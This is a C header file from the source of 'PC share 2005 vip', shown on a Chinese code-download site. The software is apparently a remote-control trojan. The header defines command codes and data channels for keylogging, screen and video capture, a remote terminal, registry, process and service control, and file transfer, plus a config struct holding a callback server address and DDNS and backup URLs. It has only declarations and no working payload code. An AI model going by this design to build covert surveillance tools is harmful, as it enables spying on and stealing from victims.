⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mymarco.h

📁 PC share 2005 vip源代码
💻 H
字号:
/*
*	公共变量,函数定义
*/

#include "resource.h"

//消息定义
#define WM_ADDCLIENT			WM_USER + 401		//增加客户
#define WM_MYITEMCHANGED		WM_USER + 402		//项目变化
#define WM_CLIENTMAINRCLICK		WM_USER + 405		//用户右击鼠标
#define WM_RESIZE_WND			WM_USER + 408		//重新排列项目
#define WM_LOGINSUCCESS			WM_USER + 424		//登录完成
#define WM_CLOSEITEM			WM_USER + 604		//客户关闭

//交易代码
#define CLIENT_SYSTEM_RESTART	1020				//重启客户机器
#define CLIENT_SYSTEM_SHUTDOWN	1021				//关闭客户机器
#define CLIENT_PRO_UNINSTALL	1022				//卸载客户程序
#define CLIENT_MODIFY_INFO		1023				//更改客户信息
#define CLIENT_LOGIN_SUCCESS	1024				//签到成功
#define CLIENT_FRAME_START		1028				//开始屏幕拷贝
#define CLIENT_FILES_START		1029				//开始机器管理
#define CLIENT_KEYMON_START		1032				//开始键盘监控
#define CLIENT_TLNT_START		1033				//开始超级终端
#define CLIENT_REGEDIT_START	1034				//开始注册表管理
#define CLIENT_PROC_START		1035				//开始进程管理
#define CLIENT_SERVICE_START	1036				//开始服务管理
#define CLIENT_MULIT_START		1037				//开始视音频管理
#define CLIENT_PROXY			1038				//开始代理服务

#define CONN_MAIN				3000				//控制连接
#define CONN_FILE_UP			3004				//上传文件
#define CONN_FILE_DL			3005				//下载文件

#define CONN_FILE_MANA_SEND		4001				//文件管理发送管道
#define CONN_FILE_MANA_RECV		4002				//文件管理接收管道
#define CONN_FILE_FRAM_SEND		4003				//屏幕监控发送管道
#define CONN_FILE_FRAM_RECV		4004				//屏幕监控接收管道
#define CONN_FILE_TLNT_SEND		4005				//超级终端发送管道
#define CONN_FILE_TLNT_RECV		4006				//超级终端接收管道
#define CONN_FILE_REGD_SEND		4007				//注册表编辑发送管道
#define CONN_FILE_REGD_RECV		4008				//注册表编辑接收管道
#define CONN_FILE_PROC_SEND		4009				//进程管理发送管道
#define CONN_FILE_PROC_RECV		4010				//进程管理接收管道
#define CONN_FILE_SERV_SEND		4011				//服务管理发送管道
#define CONN_FILE_SERV_RECV		4012				//服务管理接收管道
#define CONN_FILE_KEYM_SEND		4013				//键盘监控发送管道
#define CONN_FILE_KEYM_RECV		4014				//键盘监控接收管道
#define CONN_FILE_MULT_SEND		4015				//视频监控发送管道
#define CONN_FILE_MULT_RECV		4016				//视频监控接收管道

typedef enum tagWin32SysType{
   Windows32s,
   WindowsNT3,
   Windows95,
   Windows98,
   WindowsME,
   WindowsNT4,
   Windows2000,
   WindowsXP,
   Windows2003
}Win32SysType;

typedef struct _MYLISTFILEINFO_
{
	HWND	hWnd;
	UINT	m_FileLen;
	UINT	m_FilePoint;
	BOOL	m_IsExec;
	char	m_LocalFile[256];
	char	m_RemoteFile[256];
}MYLISTFILEINFO,*LPMYLISTFILEINFO;

typedef struct _GOLBALVALUE_
{
	BOOL	m_IsMainExit;
	HWND	m_MainhWnd;
	char	m_UserName[256];
	char	m_UserPass[256];
	int		m_Response;
}GOLBALVALUE,*LPGOLBALVALUE;

typedef struct _CMDINFO_
{
	UINT m_Command;
	UINT m_DataLen;
}CMDINFO,*LPCMDINFO;

typedef struct _SOCKETINFO_
{
	SOCKET s;
	HANDLE thread;
}SOCKETINFO,*LPSOCKETINFO;

typedef struct _LOGINSUCCESS_
{
	UINT m_Socket;
	char m_Ip[20];
}LOGINSUCCESS,*LPLOGINSUCCESS;

typedef struct _LOGININFO_
{
	UINT m_CpuSpeed;			//CPU主频
	UINT m_MemContent;			//内存容量
	char ID[17];				//唯一标识
	char m_PcName[64];			//计算机名称
	char m_SysType;				//操作系统类型
	char m_CpuCount;			//CPU数量
	char m_UserName[38];		//用户名称
}LOGININFO,*LPLOGININFO;

typedef struct _CLIENTITEM_
{
	time_t		m_LoginTime;
	char		m_Title[256];
	SOCKET		m_WorkSocket;
	LOGININFO	m_SysInfo;
}CLIENTITEM,*LPCLIENTITEM;

typedef struct _INITDLLINFO_
{
	WORD m_ServerPort;
	UINT m_ProcessId;
	UINT m_DllFileLen;
	char m_ProcessName[128];
	char m_KeyName[24];
	char m_CtrlFile[128];
	char m_StartFile[128];
	char m_ServerAddr[128];
	char m_ParentFile[256];
	char m_EventName[32];
	char m_DdnsUrl[128];
	char m_BakUrl[128];
	char m_IsUpdate;
	char m_ext[511];
}INITDLLINFO,*LPINITDLLINFO;

UINT WINAPI MyMainThread(LPVOID lPvoid);
UINT WINAPI MyChildThread(LPVOID lPvoid);

int  AcceptClientMain(SOCKET s,LPCLIENTITEM pData);
BOOL SendData(SOCKET s, char *data, int len);
BOOL RecvData(SOCKET s, char *data, int len);
void TransParentDC(CRect rect,CDC * pDC);
BOOL ExecCmd(SOCKET s, UINT Command,int len);
void BcdToAsc(unsigned char *BcdStr,unsigned char *AscStr,int BcdStrLen);
void AscToBcd(unsigned char *AscStr,unsigned char *BcdStr,int AscStrLen);
BOOL GetValue(char * SrcStr,char * DesStr,char *Value);
BOOL MakeFilePath(char *pathName);
void GetMyFilePath(char* FileName);
void GetIniFileName(char* pFile);
bool CopySocket(HWND hWnd, SOCKET s, DWORD nInfo);
SOCKET StartTcp(WORD Port);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -